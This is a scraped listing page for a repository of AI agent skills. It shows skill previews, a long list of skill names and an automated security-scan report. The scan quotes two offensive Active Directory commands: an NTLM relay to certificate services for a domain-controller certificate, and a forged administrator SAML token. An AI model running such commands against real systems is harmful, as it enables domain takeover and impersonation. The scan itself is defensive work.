users across months of interactions. You've implemented systems that know when
to remember, when to forget, and how to surface relevant memories.
You understand that memory is not just storage—it's about retrieval, relevance,
and context. You've seen systems that remember everything (and overwhelm context)
and systems that forget too much (frustrating users).
Your core principles:
1. Memory types differ—short-term, lo
## CapabilitiesView the complete source on GitHubconvertkit-automation
When your agent uses it
Automate ConvertKit (Kit) tasks via Rube MCP (Composio): manage subscribers, tags, broadcasts, and broadcast stats. Always search tools first for current schemas.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,774 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore7,239 bytes
Read SKILL.md
# ConvertKit (Kit) Automation via Rube MCP
Automate ConvertKit (now known as Kit) email marketing operations through Composio's Kit toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Kit connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `kit`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubcopilot-sdk
When your agent uses it
Build applications powered by GitHub Copilot using the Copilot SDK. Use when creating programmatic integrations with Copilot across Node.js/TypeScript, Python, Go, or .NET. Covers session managemen...
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
3,633 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Installation
- Core Pattern: Client → Session → Message
- Streaming Responses
- Custom Tools
- Hooks
- MCP Server Integration
- Authentication
- Session Persistence
- Custom Agents
- System Message
- Skills Integration
- Permission & Input Handlers
- External CLI Server
- Client Configuration
- Session Configuration
- Debugging
- Key API Summary
- References
- When to Use
Files
SKILL.mdcore14,994 bytesSKILL.mdcore14,994 bytesSKILL.mdcore14,994 bytesSKILL.mdcore14,994 bytesSKILL.mdcore14,994 bytes
Read SKILL.md
# GitHub Copilot SDK
Build applications that programmatically interact with GitHub Copilot. The SDK wraps the Copilot CLI via JSON-RPC, providing session management, custom tools, hooks, MCP server integration, and streaming across Node.js, Python, Go, and .NET.
## Prerequisites
- **GitHub Copilot CLI** installed and authenticated (`copilot --version` to verify)
- **GitHub Copilot subscription** (Individual, Business, or Enterprise) — not required for BYOK
- **Runtime:** Node.js 18+ / Python 3.8+ / Go 1.21+ / .NET 8.0+
## Installation
| Language | Package | Install |
|----------|---------|---------|View the complete source on GitHubcopy-editing
When your agent uses it
When the user wants to edit, review, or improve existing marketing copy. Also use when the user mentions 'edit this copy,' 'review my copy,' 'copy feedback,' 'proofread,' 'polish this,' 'make this ...
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,963 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Philosophy
- The Seven Sweeps Framework
- Quick-Pass Editing Checks
- Copy Editing Checklist
- Common Copy Problems & Fixes
- Working with Copy Sweeps
- Questions to Ask
- Related Skills
- When to Use Each Skill
Files
SKILL.mdcore12,890 bytes
Read SKILL.md
# Copy Editing
You are an expert copy editor specializing in marketing and conversion copy. Your goal is to systematically improve existing copy through focused editing passes while preserving the core message.
## Core Philosophy
Good copy editing isn't about rewriting—it's about enhancing. Each pass focuses on one dimension, catching issues that get missed when you try to fix everything at once.
**Key principles:**
- Don't change the core message; focus on enhancing it
- Multiple focused passes beat one unfocused review
- Each edit should have a clear reason
- Preserve the author's voice while improving clarity
View the complete source on GitHubcopywriting
When your agent uses it
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
1,154 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Operating Mode
- Phase 1 — Context Gathering (Mandatory)
- Phase 2 — Copy Brief Lock (Hard Gate)
- Phase 3 — Copywriting Principles
- Writing Style Rules
- Phase 4 — Page Structure Framework
- Phase 5 — Writing the Copy
- Testability Guidance
- Completion Criteria (Hard Stop)
- Key Principles (Summary)
- Final Reminder
- When to Use
Files
SKILL.mdcore5,264 bytes
Read SKILL.md
# Copywriting
## Purpose
Produce **clear, credible, and action-oriented marketing copy** that aligns with
user intent and business goals.
This skill exists to prevent:
- writing before understanding the audience
- vague or hype-driven messaging
- misaligned CTAs
- overclaiming or fabricated proof
- untestable copy
View the complete source on GitHubcore-components
When your agent uses it
Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,349 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Design System Overview
- Design Tokens
- Core Components
- Layout Patterns
- Anti-Patterns
- Component Props Pattern
- Integration with Other Skills
- When to Use
Files
SKILL.mdcore4,930 bytes
Read SKILL.md
# Core Components
## Design System Overview
Use components from your core library instead of raw platform components. This ensures consistent styling and behavior.
## Design Tokens
**NEVER hard-code values. Always use design tokens.**
### Spacing Tokens
```tsx
// CORRECT - Use tokensView the complete source on GitHubcost-optimization
When your agent uses it
Optimize cloud costs through resource rightsizing, tagging strategies, reserved instances, and spending analysis. Use when reducing cloud expenses, analyzing infrastructure costs, or implementing c...
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
1,644 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Do not use this skill when
- Instructions
- Purpose
- Use this skill when
- Cost Optimization Framework
- AWS Cost Optimization
- Azure Cost Optimization
- GCP Cost Optimization
- Tagging Strategy
- Cost Monitoring
- Architecture Patterns
- Cost Optimization Checklist
- Tools
- Reference Files
- Related Skills
Files
SKILL.mdcore6,728 bytes
Read SKILL.md
# Cloud Cost Optimization
Strategies and patterns for optimizing cloud costs across AWS, Azure, and GCP.
## Do not use this skill when
- The task is unrelated to cloud cost optimization
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.
- Provide actionable steps and verification.View the complete source on GitHubcpp-pro
When your agent uses it
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Focus Areas
- Approach
- Output
Files
SKILL.mdcore1,952 bytes
Read SKILL.md
## Use this skill when
- Working on cpp pro tasks or workflows
- Needing guidance, best practices, or checklists for cpp pro
## Do not use this skill when
- The task is unrelated to cpp pro
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubcqrs-implementation
When your agent uses it
Implement Command Query Responsibility Segregation for scalable architectures. Use when separating read and write models, optimizing query performance, or building event-sourced systems.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
234 tokensWhen the skill is activated
Reference documents
3,329 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Resources
Files
SKILL.mdcore1,246 bytesresources/implementation-playbook.mddoc15,546 bytes
Read SKILL.md
# CQRS Implementation
Comprehensive guide to implementing CQRS (Command Query Responsibility Segregation) patterns.
## Use this skill when
- Separating read and write concerns
- Scaling reads independently from writes
- Building event-sourced systems
- Optimizing complex query scenarios
- Different read/write data models are needed
- High-performance reporting is required
## Do not use this skill whenView the complete source on GitHubcreate-pr
When your agent uses it
Create pull requests following Sentry conventions. Use when opening PRs, writing PR descriptions, or preparing changes for review. Follows Sentry's code review guidelines.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,202 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Prerequisites
- Process
- PR Description Examples
- Issue References
- Guidelines
- Editing Existing PRs
- References
Files
SKILL.mdcore5,075 bytesSKILL.mdcore5,075 bytesSKILL.mdcore5,075 bytesSKILL.mdcore5,075 bytesSKILL.mdcore5,075 bytesSKILL.mdcore5,075 bytes
Read SKILL.md
# Create Pull Request
Create pull requests following Sentry's engineering practices.
## When to Use This Skill
Use this skill when:
- Opening pull requests
- Writing PR descriptions
- Preparing changes for review
- Following Sentry's code review guidelines
- Creating PRs that follow best practices
**Requires**: GitHub CLI (`gh`) authenticated and available.View the complete source on GitHubcrewai
When your agent uses it
Expert in CrewAI - the leading role-based multi-agent framework used by 60% of Fortune 500 companies. Covers agent design with roles and goals, task definition, crew orchestration, process types (s...
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,377 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Requirements
- Patterns
- Anti-Patterns
- Limitations
- Related Skills
- When to Use
Files
SKILL.mdcore5,916 bytesSKILL.mdcore5,916 bytesSKILL.mdcore5,916 bytesSKILL.mdcore5,916 bytes
Read SKILL.md
# CrewAI
**Role**: CrewAI Multi-Agent Architect
You are an expert in designing collaborative AI agent teams with CrewAI. You think
in terms of roles, responsibilities, and delegation. You design clear agent personas
with specific expertise, create well-defined tasks with expected outputs, and
orchestrate crews for optimal collaboration. You know when to use sequential vs
hierarchical processes.
## Capabilities
- Agent definitions (role, goal, backstory)
- Task design and dependenciesView the complete source on GitHubcrypto-bd-agent
When your agent uses it
What it loads into context
Frontmatter
148 tokensAlways available to the agent
SKILL.md
2,070 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Do Not Use When
- Architecture
- 1. Intelligence Gathering
- 2. Token Scoring (100 Points)
- 3. Wallet Forensics
- 4. ERC-8004 On-Chain Identity
- 5. Pipeline Management
- 6. Security Rules
- Reference Implementation
Files
SKILL.mdcore8,250 bytesSKILL.mdcore8,250 bytesSKILL.mdcore8,250 bytesSKILL.mdcore8,250 bytesSKILL.mdcore8,250 bytes
Read SKILL.md
# Crypto BD Agent — Autonomous Business Development for Exchanges
> Production-tested patterns for building AI agents that autonomously discover,
> evaluate, and acquire token listings for cryptocurrency exchanges.
## Overview
This skill teaches AI agents systematic crypto business development: discover
promising tokens across chains, score them with a 100-point weighted system,
verify safety through wallet forensics, and manage outreach pipelines with
human-in-the-loop oversight.
Built from production experience running Buzz BD Agent by SolCex Exchange —
an autonomous agent on decentralized infrastructure with 13 intelligenceView the complete source on GitHubcsharp-pro
When your agent uses it
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
450 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Focus Areas
- Approach
- Output
Files
SKILL.mdcore2,251 bytes
Read SKILL.md
## Use this skill when
- Working on csharp pro tasks or workflows
- Needing guidance, best practices, or checklists for csharp pro
## Do not use this skill when
- The task is unrelated to csharp pro
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubSkills included
- 3d-web-experience
- ab-test-setup
- accessibility-compliance-accessibility-audit
- active-directory-attacks
- activecampaign-automation
- address-github-comments
- agent-evaluation
- agent-framework-azure-ai-py
- agent-manager-skill
- agent-memory-mcp
- agent-memory-systems
- agent-orchestration-improve-agent
- agent-orchestration-multi-agent-optimize
- agent-tool-builder
- agents-v2-py
- ai-agents-architect
- ai-engineer
- ai-product
- ai-wrapper-product
- airflow-dag-patterns
- airtable-automation
- algolia-search
- algorithmic-art
- amplitude-automation
- analytics-tracking
- angular
- angular-best-practices
- angular-migration
- angular-state-management
- angular-ui-patterns
- anti-reversing-techniques
- antigravity-workflows
- api-design-principles
- api-documentation-generator
- api-documenter
- api-fuzzing-bug-bounty
- api-patterns
- api-security-best-practices
- api-testing-observability-api-mock
- app-builder
- templates
- app-store-optimization
- application-performance-performance-optimization
- architect-review
- architecture
- architecture-decision-records
- architecture-patterns
- arm-cortex-expert
- asana-automation
- async-python-patterns
- attack-tree-construction
- audio-transcriber
- auth-implementation-patterns
- automate-whatsapp
- autonomous-agent-patterns
- autonomous-agents
- avalonia-layout-zafiro
- avalonia-viewmodels-zafiro
- avalonia-zafiro-development
- aws-penetration-testing
- aws-serverless
- aws-skills
- azd-deployment
- azure-ai-agents-persistent-dotnet
- azure-ai-agents-persistent-java
- azure-ai-anomalydetector-java
- azure-ai-contentsafety-java
- azure-ai-contentsafety-py
- azure-ai-contentsafety-ts
- azure-ai-contentunderstanding-py
- azure-ai-document-intelligence-dotnet
- azure-ai-document-intelligence-ts
- azure-ai-formrecognizer-java
- azure-ai-ml-py
- azure-ai-openai-dotnet
- azure-ai-projects-dotnet
- azure-ai-projects-java
- azure-ai-projects-py
- azure-ai-projects-ts
- azure-ai-textanalytics-py
- azure-ai-transcription-py
- azure-ai-translation-document-py
- azure-ai-translation-text-py
- azure-ai-translation-ts
- azure-ai-vision-imageanalysis-java
- azure-ai-vision-imageanalysis-py
- azure-ai-voicelive-dotnet
- azure-ai-voicelive-java
- azure-ai-voicelive-py
- azure-ai-voicelive-ts
- azure-appconfiguration-java
- azure-appconfiguration-py
- azure-appconfiguration-ts
- azure-communication-callautomation-java
- azure-communication-callingserver-java
- azure-communication-chat-java
- azure-communication-common-java
- azure-communication-sms-java
- azure-compute-batch-java
- azure-containerregistry-py
- azure-cosmos-db-py
- azure-cosmos-java
- azure-cosmos-py
- azure-cosmos-rust
- azure-cosmos-ts
- azure-data-tables-java
- azure-data-tables-py
- azure-eventgrid-dotnet
- azure-eventgrid-java
- azure-eventgrid-py
- azure-eventhub-dotnet
- azure-eventhub-java
- azure-eventhub-py
- azure-eventhub-rust
- azure-eventhub-ts
- azure-functions
- azure-identity-dotnet
- azure-identity-java
- azure-identity-py
- azure-identity-rust
- azure-identity-ts
- azure-keyvault-certificates-rust
- azure-keyvault-keys-rust
- azure-keyvault-keys-ts
- azure-keyvault-py
- azure-keyvault-secrets-rust
- azure-keyvault-secrets-ts
- azure-maps-search-dotnet
- azure-messaging-webpubsub-java
- azure-messaging-webpubsubservice-py
- azure-mgmt-apicenter-dotnet
- azure-mgmt-apicenter-py
- azure-mgmt-apimanagement-dotnet
- azure-mgmt-apimanagement-py
- azure-mgmt-applicationinsights-dotnet
- azure-mgmt-arizeaiobservabilityeval-dotnet
- azure-mgmt-botservice-dotnet
- azure-mgmt-botservice-py
- azure-mgmt-fabric-dotnet
- azure-mgmt-fabric-py
- azure-mgmt-mongodbatlas-dotnet
- azure-mgmt-weightsandbiases-dotnet
- azure-microsoft-playwright-testing-ts
- azure-monitor-ingestion-java
- azure-monitor-ingestion-py
- azure-monitor-opentelemetry-exporter-java
- azure-monitor-opentelemetry-exporter-py
- azure-monitor-opentelemetry-py
- azure-monitor-opentelemetry-ts
- azure-monitor-query-java
- azure-monitor-query-py
- azure-postgres-ts
- azure-resource-manager-cosmosdb-dotnet
- azure-resource-manager-durabletask-dotnet
- azure-resource-manager-mysql-dotnet
- azure-resource-manager-playwright-dotnet
- azure-resource-manager-postgresql-dotnet
- azure-resource-manager-redis-dotnet
- azure-resource-manager-sql-dotnet
- azure-search-documents-dotnet
- azure-search-documents-py
- azure-search-documents-ts
- azure-security-keyvault-keys-dotnet
- azure-security-keyvault-keys-java
- azure-security-keyvault-secrets-java
- azure-servicebus-dotnet
- azure-servicebus-py
- azure-servicebus-ts
- azure-speech-to-text-rest-py
- azure-storage-blob-java
- azure-storage-blob-py
- azure-storage-blob-rust
- azure-storage-blob-ts
- azure-storage-file-datalake-py
- azure-storage-file-share-py
- azure-storage-file-share-ts
- azure-storage-queue-py
- azure-storage-queue-ts
- azure-web-pubsub-ts
- backend-architect
- backend-dev-guidelines
- backend-development-feature-development
- backend-security-coder
- backtesting-frameworks
- bamboohr-automation
- basecamp-automation
- bash-defensive-patterns
- bash-linux
- bash-pro
- bats-testing-patterns
- bazel-build-optimization
- beautiful-prose
- behavioral-modes
- billing-automation
- binary-analysis-patterns
- bitbucket-automation
- blockchain-developer
- blockrun
- box-automation
- brainstorming
- brand-guidelines-anthropic
- brand-guidelines-community
- brevo-automation
- broken-authentication
- browser-automation
- browser-extension-builder
- bullmq-specialist
- bun-development
- burp-suite-testing
- business-analyst
- busybox-on-windows
- c-pro
- c4-architecture-c4-architecture
- c4-code
- c4-component
- c4-container
- c4-context
- cal-com-automation
- calendly-automation
- canva-automation
- canvas-design
- cc-skill-backend-patterns
- cc-skill-clickhouse-io
- cc-skill-coding-standards
- cc-skill-continuous-learning
- cc-skill-frontend-patterns
- cc-skill-project-guidelines-example
- cc-skill-security-review
- cc-skill-strategic-compact
- changelog-automation
- cicd-automation-workflow-automate
- circleci-automation
- clarity-gate
- claude-ally-health
- claude-code-guide
- claude-d3js-skill
- claude-scientific-skills
- claude-speed-reader
- claude-win11-speckit-update-skill
- clean-code
- clerk-auth
- clickup-automation
- close-automation
- cloud-architect
- cloud-penetration-testing
- coda-automation
- code-documentation-code-explain
- code-documentation-doc-generate
- code-refactoring-context-restore
- code-refactoring-refactor-clean
- code-refactoring-tech-debt
- code-review-ai-ai-review
- code-review-checklist
- code-review-excellence
- code-reviewer
- codebase-cleanup-deps-audit
- codebase-cleanup-refactor-clean
- codebase-cleanup-tech-debt
- codex-review
- commit
- competitive-landscape
- competitor-alternatives
- comprehensive-review-full-review
- comprehensive-review-pr-enhance
- computer-use-agents
- computer-vision-expert
- concise-planning
- conductor-implement
- conductor-manage
- conductor-new-track
- conductor-revert
- conductor-setup
- conductor-status
- conductor-validator
- confluence-automation
- content-creator
- content-marketer
- context-compression
- context-degradation
- context-driven-development
- context-fundamentals
- context-management-context-restore
- context-management-context-save
- context-manager
- context-optimization
- context-window-management
- context7-auto-research
- conversation-memory
- convertkit-automation
- copilot-sdk
- copy-editing
- copywriting
- core-components
- cost-optimization
- cpp-pro
- cqrs-implementation
- create-pr
- crewai
- crypto-bd-agent
- csharp-pro
Showing 300 of 889 skills. See GitHub for the complete repository.
Repository facts
- License
- MIT
- Created
- Feb 22, 2026
- Last pushed
- Nov 6, 2026
- Forks
- 49
- Open issues
- 1
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 3,368 notes
skills/3d-web-experience/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/3d-web-experience/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/3d-web-experience/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/3d-web-experience/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- 177 broad permissionsin 177 files: app-builder/SKILL.md:1 bash-linux/SKILL.md:1 blockrun/SKILL.md:1 and 174 more
- 274 dangerous shell commandsin 86 files: network-101/SKILL.md:49 linux-privilege-escalation/SKILL.md:3 privilege-escalation-methods/SKILL.md:38 and 83 more
- 12,912 network referencesin 1,084 files: loki-mode/examples/todo-app-generated/backend/package-lock.json:26 loki-mode/examples/todo-app-generated/frontend/package-lock.json:24 hig-technologies/references/apple-pay.md:1 and 1,081 more
- 8 obfuscation signalsin 6 files: azure-ai-voicelive-py/SKILL.md:157 podcast-generation/SKILL.md:68 hig-foundations/references/icons.md:102 and 3 more
- 46 instruction override signalsin 14 files: loki-mode/CHANGELOG.md:704 loki-mode/demo/run-demo.sh:108 loki-mode/references/agent-types.md:108 and 11 more
- 530 executable scriptsin 530 files: algorithmic-art/templates/generator_template.js:1 api-design-principles/assets/rest-api-template.py:1 api-patterns/scripts/api_validator.py:1 and 527 more
- 664 references to secretsin 202 files: hugging-face-jobs/SKILL.md:70 shopify-development/scripts/tests/test_shopify_init.py:24 loki-mode/benchmarks/run-benchmarks.sh:194 and 199 more
- No requests to vote in Hot
Show all 14,611 signals by file
skills/3d-web-experience/SKILL.md
- Network accessline 66
export default function Scene() { return ( <Spline scene="https://prod.spline.design/xxx/scene.splinecode" /> - Network accessline 67
return ( <Spline scene="https://prod.spline.design/xxx/scene.splinecode" /> ); - Network accessline 68
<Spline scene="https://prod.spline.design/xxx/scene.splinecode" />
skills/accessibility-compliance-accessibility-audit/resources/implementation-playbook.md
- Network accessline 427
run: | npm start & npx wait-on http://localhost:3000 - Network accessline 429
npx wait-on http://localhost:3000 - Network accessline 434
- name: Run pa11y run: npx pa11y http://localhost:3000 --standard WCAG2AA --threshold 0 - Network accessline 435
run: npx pa11y http://localhost:3000 --standard WCAG2AA --threshold 0
skills/active-directory-attacks/SKILL.md
skills/active-directory-attacks/references/advanced-attacks.md
- Network accessline 232
# Start relay ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController - Network accessline 233
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController - Network accessline 295
# Forge SAML token python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local - Network accessline 296
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
skills/activecampaign-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/agent-framework-azure-ai-py/SKILL.md
skills/agent-manager-skill/SKILL.md
- Network accessline 24
git clone https://github.com/fractalmind-ai/agent-manager-skill.git
skills/agent-memory-mcp/SKILL.md
skills/agents-v2-py/SKILL.md
- Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 175
"type": "mcp", "server_label": "my-mcp-server", "server_url": "https://my-mcp-server.example.com" - Network accessline 176
"server_label": "my-mcp-server", "server_url": "https://my-mcp-server.example.com" } - Network accessline 177
"server_url": "https://my-mcp-server.example.com" - Network accessline 189
"type": "mcp", "server_label": "custom-tool", "server_url": "https://custom-tool.example.com" - Network accessline 190
"server_label": "custom-tool", "server_url": "https://custom-tool.example.com" } - Network accessline 191
"server_url": "https://custom-tool.example.com" - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Network accessline 321
- [Azure AI Projects SDK](https://pypi.org/project/azure-ai-projects/) - Network accessline 322
- [Hosted Agents Documentation](https://learn.microsoft.com/azure/ai-services/agents/how-to/hosted-agents) - Network accessline 323
- [Azure Container Registry](https://learn.microsoft.com/azure/container-registry/)
skills/airflow-dag-patterns/resources/implementation-playbook.md
- Network accessline 318
response = requests.get('https://api.example.com/health') - Network accessline 507
- [Airflow Documentation](https://airflow.apache.org/docs/) - Network accessline 508
- [Astronomer Guides](https://docs.astronomer.io/learn) - Network accessline 509
- [TaskFlow API](https://airflow.apache.org/docs/apache-airflow/stable/tutorial/taskflow.html)
skills/airtable-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/algorithmic-art/LICENSE.txt
skills/algorithmic-art/SKILL.md
- Network accessline 280
<head> <!-- p5.js from CDN - always available --> <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script> - Network accessline 281
<!-- p5.js from CDN - always available --> <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script> <style> - Network accessline 282
<script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>
skills/algorithmic-art/templates/generator_template.js
- Executable scriptline 1
Executable file
skills/algorithmic-art/templates/viewer.html
- Network accessline 21
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Generative Art Viewer</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script> - Network accessline 22
<title>Generative Art Viewer</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script> <link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 23
<script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script> - Network accessline 24
<link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 25
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 26
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&family=Lora:wght@400;500&display=swap" rel="stylesheet">
skills/amplitude-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/angular-best-practices/README.md
skills/angular-best-practices/SKILL.md
- Network accessline 556
- [Angular Performance Guide](https://angular.dev/best-practices/performance) - Network accessline 557
- [Zoneless Angular](https://angular.dev/guide/experimental/zoneless) - Network accessline 558
- [Angular SSR Guide](https://angular.dev/guide/ssr) - Network accessline 559
- [Change Detection Deep Dive](https://angular.dev/guide/change-detection)
skills/angular-best-practices/metadata.json
- Network accessline 5
"abstract": "Performance optimization and best practices guide for Angular applications designed for AI agents and LLMs. Covers change detection strategies (OnPush, Signals, Zoneless), avoiding async waterfalls, bundle optimization with laz - Network accessline 6
"references": [ "https://angular.dev/best-practices", "https://angular.dev/guide/performance", - Network accessline 7
"https://angular.dev/best-practices", - Network accessline 8
"https://angular.dev/guide/performance", - Network accessline 9
"https://angular.dev/guide/zoneless", - Network accessline 10
"https://angular.dev/guide/ssr", - Network accessline 11
"https://web.dev/performance"
skills/angular-state-management/README.md
skills/angular-state-management/SKILL.md
- Network accessline 138
try { const user = await fetch(`/api/users/${id}`).then((r) => r.json()); - Network accessline 139
const user = await fetch(`/api/users/${id}`).then((r) => r.json()); - Network accessline 631
- [Angular Signals Guide](https://angular.dev/guide/signals) - Network accessline 632
- [NgRx Documentation](https://ngrx.io/) - Network accessline 633
- [NgRx SignalStore](https://ngrx.io/guide/signals) - Network accessline 634
- [RxAngular](https://www.rx-angular.io/)
skills/angular-state-management/metadata.json
- Network accessline 5
"abstract": "Complete state management guide for Angular applications designed for AI agents and LLMs. Covers Signal-based services, NgRx for global state, RxJS patterns, and component stores. Includes decision trees for choosing the right - Network accessline 6
"references": [ "https://angular.dev/guide/signals", "https://ngrx.io", - Network accessline 7
"https://angular.dev/guide/signals", - Network accessline 8
"https://ngrx.io", - Network accessline 9
"https://ngrx.io/guide/signals", - Network accessline 10
"https://www.rx-angular.io", - Network accessline 11
"https://github.com/ngrx/platform"
skills/angular-ui-patterns/README.md
skills/angular-ui-patterns/metadata.json
- Network accessline 5
"abstract": "Modern UI patterns for Angular applications designed for AI agents and LLMs. Covers loading states, error handling, progressive disclosure, and data display patterns. Emphasizes showing loading only without data, surfacing all - Network accessline 6
"references": [ "https://angular.dev/guide/defer", "https://angular.dev/guide/templates", - Network accessline 7
"https://angular.dev/guide/defer", - Network accessline 8
"https://angular.dev/guide/templates", - Network accessline 9
"https://material.angular.io", - Network accessline 10
"https://ng-spartan.com"
skills/angular/README.md
skills/angular/SKILL.md
- Network accessline 423
// Provide in config bootstrapApplication(AppComponent, { providers: [{ provide: API_BASE_URL, useValue: "https://api.example.com" }], - Network accessline 424
bootstrapApplication(AppComponent, { providers: [{ provide: API_BASE_URL, useValue: "https://api.example.com" }], }); - Network accessline 425
providers: [{ provide: API_BASE_URL, useValue: "https://api.example.com" }], - Network accessline 805
- [Angular.dev Documentation](https://angular.dev) - Network accessline 806
- [Angular Signals Guide](https://angular.dev/guide/signals) - Network accessline 807
- [Angular SSR Guide](https://angular.dev/guide/ssr) - Network accessline 808
